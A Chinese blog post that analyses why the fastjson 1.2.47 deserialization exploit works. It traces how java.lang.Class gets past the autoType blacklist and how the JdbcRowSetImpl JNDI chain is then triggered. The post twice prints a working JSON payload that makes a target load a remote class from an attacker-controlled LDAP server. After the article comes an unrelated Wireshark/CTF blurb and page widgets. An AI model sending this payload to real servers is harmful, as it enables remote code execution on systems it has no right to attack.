hacker远程控制的艺术之fastjson-1.2.47利用原理分析

前言

       Fastjson是咱们中国人发明的一个Java库,来自阿里巴巴的温少,它可以把Java对象转换为Json格式,同时,它也可以把json字符串转换为Java对象。它可以操作任何的Java对象,即便是一些预先存在,但没有源码的对象。正是因为这一点,给了安全界大佬们可乘之机,自1.2.24版本开始,温少就一直和他们不断斡旋,打着回合战。修复一个版本,过没多久又来一个绕过,攻防过程好不精彩。

       截止今天现在2020.11.15 22:30,已经更新到1.2.75版本了,在此版本之前,从1.2.24版本第一个它的反序列化漏洞到1.2.47版本再到1.2.68版本三个经典漏洞,本文从1.2.47版本展开讲解,在hacker远程控制的艺术之fastjson1.2.47漏洞利用(下文简称上文)中,我介绍了如何利用这个漏洞实现远程连接,本文就不过多赘述,着重讲解为什么能这样利用,从源码的角度进行剖析此洞的利用原理。

正文

       Fastjson通过parse、parseObject处理以json结构传入的类的字符串形时,会默认调用该类的共有setter与构造函数,并在合适的触发条件下调用该类的getter方法。当传入的类中setter、getter方法中存在利用点时,攻击者就可以通过传入可控的类的成员变量进行攻击利用。com.sun.rowset.JdbcRowSetImpl这条利用链用到的是类中setter方法的缺陷,而TemplatesImpl利用链则用到的是getter方法缺陷(此处引用天融信对fastjson的研究)。用通俗的语言解释就是,fastjson在反序列化的时候,可以通过某种方式设置调用类的传入参数来实现直接/间接的调用攻击类。

payload如下:

{
    "a": {          
           "@type": "java.lang.Class",
           "val": "com.sun.rowset.JdbcRowSetImpl"
        },
    "b": {
           "@type": "com.sun.rowset.JdbcRowSetImpl",
           "dataSourceName": "ldap://192.168.186.9:9999/#TouchFile1",
           "autoCommit": true
        }
}

       整体利用的过程是首先反序列化第一个json对象a,通过java.lang.class类(此类并不在1.2.47版本的黑名单里面)所以可以跳过,将com.sun.rowset.JdbcRowSetImpl类加载到mapping缓存,因为在fastjson的机制里,如果遇到没有加载到缓存里的类,在执行checkautotype方法的时候,会抛出异常并终止运行,如此一来便可以绕过autotype。

       之前我一直有个疑惑,是不是关闭autotype后,@type就不能使用了,直到我看到了源码,才发现我错了,json文件从parser方法传入(具体中间如何走的我就不具体分析了,有兴趣的话可以看看源码),通过DEFAULT_TYPE_KEY获取传入的@typy的值,如下图.

之后会调用checkAutoType方法

       下面我们来看下这个checkAutoType方法,分autoTypeSupport开启和关闭两种情况,下图为第一种情况

       在开启时,先将传入的类名hash化,然后和白名单的hash对比,如果有存在,就通过loadclass类加载这个传入的类即java.lang.class,并返回这个传入的类即java.lang.class。如果不在白名单里面,就来到第二个判断,如果在黑名单里面,同时不在白名单里面,那么就返回“autoType is not support java.lang.class”,那么此时问题来了,那如果不在黑名单里面呢?就会继续跳过上面两个判断,就成功的绕过了checkautotype的检测,并加载java.lang.class。我个人理解在开启的时候是黑名单模式,如果在黑名单就报错。

       在关闭时,上边的判断条件返回null,直接进入getClassFromMapping方法,去map里面查找是否有java.lang.class,如果没有,进入到下一个deserializers方法进行查找如果还没有,就抛出异常了。

       可以看到mapping是由存放在fastjson-1.2.47/src/main/java/com/alibaba/fastjson/util/TypeUtils.java中addBaseClassMappings()这个方法方法去添加的,从名字来看,mappings就是一个预先加载的基础类,显然这里面并没有java.lang.class,所以进入到下一个if判断条件中,调用deserializers.findClass查找java.lang.class,

下图为findclass方法

       从源码来看,就是在buckets里面查找key值是否存在java.lang.class,如果有,就返回这个calssname,那么问题又来了,啥是buckets呢?我从源码里翻到了下面这一串,我个人猜测就是一个IdentityHashMap。

       问题到这里还不是很清楚,那么究竟这个buckets里面有没有java.lang.class呢?答案是有的,通过构造一个请求,经debug,发现在这个里面找到了,如下图,

       checkautotype讲java.lang.class返回给clazz之后,便会把值传到fastjson-1.2.47/src/main/java/com/alibaba/fastjson/serializer/MiscCodec.java中deserialze()这个方法中,如下图

       deserialze()这个方法会做三个处理,

       首先,判断jason字串中是否有’val’,如果有,就取出来传给objVal变量;

if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
            parser.resolveStatus = DefaultJSONParser.NONE;
            parser.accept(JSONToken.COMMA);

            if (lexer.token() == JSONToken.LITERAL_STRING) {
                if (!"val".equals(lexer.stringVal())) {
                    throw new JSONException("syntax error");
                }
                lexer.nextToken();
            } else {
                throw new JSONException("syntax error");
            }

            parser.accept(JSONToken.COLON);

            objVal = parser.parse();

            parser.accept(JSONToken.RBRACE);
        } else {
            objVal = parser.parse();
        }

       然后,再传给strVal;

if (objVal == null) {
            strVal = null;
        } else if (objVal instanceof String) {
            strVal = (String) objVal;

       最后,调用TypeUtils.loadClass处理strVal值,精彩的地方来了,显然可以看到会调用TypeUtils.loadClass处理,紧接着当然是加载进mappings。(这整个源码见fastjson-1.2.24/fastjson-1.2.24/src/main/java/com/alibaba/fastjson/serializer/MiscCodec.java文件下的deserialze()方法的定义,这里我只将几个关键点截了出来。)换句话说就是,如果这个val值是class,那么就将其加载进mappings,回过头看下我们制造的poc,第一段json中的val值是com.sun.rowset.JdbcRowSetImpl,这个值是早在之前的版本已经被加入黑名单了,而经过上边这么一番斗转星移,又把它加载进了,俨然一副重获新生的面貌,

if (clazz == Class.class) {
            return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
        }

       说到这里,精彩的绕过部分已经讲解完毕,接下来就是反序列化第二个json,这里我再单独贴一下, 和第一部分一样的反序列化过程,这里就会用到com.sun.rowset.JdbcRowSetImpl利用链(下文简称利用链)它的特性了。

"b": {
           "@type": "com.sun.rowset.JdbcRowSetImpl",
           "dataSourceName": "ldap://172.28.186.9:9999/#TouchFile1",
           "autoCommit": true
      }

       啥是com.sun.rowset.JdbcRowSetImpl利用链呢?这里我不展开讲,有空会单独再出一篇相关的文章。利用链会通过setAutoCommit()方法来调用lookup()方法的函数,而lookup()的参数是通过getDataSourceName()方法获取,这么一来,是不是就明白上面这个json对象这么写的原因了吧。那么还有一个疑惑,我要如何调用远程的恶意攻击类呢?我们知道有个一叫RMI的东西,全称为远程方法调用,这个是java的一个调用机制,它有一个reference的功能,ldap也同样有这个功能,可以让远程调用对象获取rmi/ldap服务器上的引用对象,指定远程地址和需要调取的类,就可以被调用了。

回到正题,调用了这个恶意类,就可以通过jndi server下载远程类,并执行远程类,这里有个小小的点需要注意,通过jndi执行需要在java 8u191之前的版本环境下,否则也是无法实现的。

总结

       一句话总结一下,通过不在黑名单,也不在白名单,但存在基础缓存里面的java.lang.class这个类,绕过autotype的安全机制,从而将已经在黑名单的com.sun.rowset.JdbcRowSetImpl类加载到缓存类中,实现远程调用恶意类进行攻击。

       fastjson1.2.47的利用原理比之前复杂了太多,绕过的精髓点从源码层面看是比较清晰明了,但是整个过程还是非常精彩的,后续还有1.2.68版本据说已经被攻破,但是目前公网上还并没有暴露poc,接下来将会继续研究,期待新版本的利用过程,应该也同样精彩吧~

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
Wireshark是一种开源的网络数据包分析工具,用于捕获和分析网络中的数据流量。它可以帮助用户检测和解决网络问题,同时还可以用于网络安全方面的调试和攻击分析。据引用所述,Wireshark可以用来查看和分析hack.pcapng数据包文件。 对于hacker1.pcapng数据包文件的查看和分析,可以使用Wireshark打开该文件。通过对数据包的分析,可以了解到网络中传输的各种信息,例如网络通信协议、源IP地址、目标IP地址、数据内容等。 根据引用和引用的描述,如果在hacker1.pcapng数据包文件中存在黑客获取到的系统的账号内容或者黑客爆破数据库名的sql语句,可以根据相关的信息提取出账号的用户名、密码或数据表的完整名字作为FLAG进行提交。 因此,使用Wireshark查看并分析hacker1.pcapng数据包文件,可以帮助我们获取有关黑客攻击和数据泄露的相关信息,并进一步做出相应的安全措施。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [wirehark数据分析与取证hack.pcapng](https://blog.csdn.net/Aluxian_/article/details/127046619)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

hobby云说

你的鼓励将是我最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值